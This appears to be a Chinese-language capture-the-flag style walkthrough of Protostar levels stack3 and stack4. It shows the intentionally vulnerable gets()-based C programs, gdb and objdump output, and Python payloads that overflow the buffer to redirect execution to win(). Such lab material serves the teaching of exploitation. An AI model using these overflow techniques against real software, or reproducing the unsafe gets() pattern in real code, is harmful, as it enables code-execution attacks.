stack3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void win(){
printf("code flow successfully changed\n");
}
int main(int argc, char *argv[]){
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if (fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
与stack0及其的相似,唯一的不同是’modified‘变量变为了’*fp’函数指针。
使用objdump或gdb获取win函数的额位置:objdump -d stack3
我们可以看到“win()”函数位于内存中的0x08048424。所以如果我们能让程序跳到那里,它就会执行代码。如果代码中的“fp”指针不等于0,则会被调用。我们只需要通过执行某些操作,用“win()”的内存值覆盖它:
python -c ‘print “A”*64+"\x24\x84\x04\x08"’ | ./stack3
###########################################################################
stack4.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void win(){
printf("code flow successfully changed\n");
}
int main(int argc, char *argv[]){
char buffer[64];
gets(buffer);
}
非常非常简单的一段代码
同样,首先找到’win‘的位置
$ objdump -t stack4 | grep win
080483f4 g F .text 00000014 win
我们需要改变ret返回时的EIP的值,要找到这个位置
首先利用工具创建生成一个唯一的字符串,这里使用python
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXYYYY"
print padding
python /tmp/stack.py > /tmp/exp
然后将它扔到gdb中,
(gdb) r < /tmp/exp
Starting program: /opt/protostar/bin/stack4 < /tmp/exp
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
>>> chr(0x54)
'T'
>>>
定位到segmentationfault的位置,仔细观察registers:
(gdb) info registers
eax 0xbffffc20 -1073742816
ecx 0xbffffc20 -1073742816
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffc70 0xbffffc70
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
发现base pointer,ebp是十六进制的’53’,说明这个位置也被覆盖了。
重新修改exp:
删除’S’之后的内容
创建ebp和eip
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR"
ebp = "AAAA"
eip = struct.pack("I", 0x080483f4)
print padding+ebp+eip
$ python stack.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault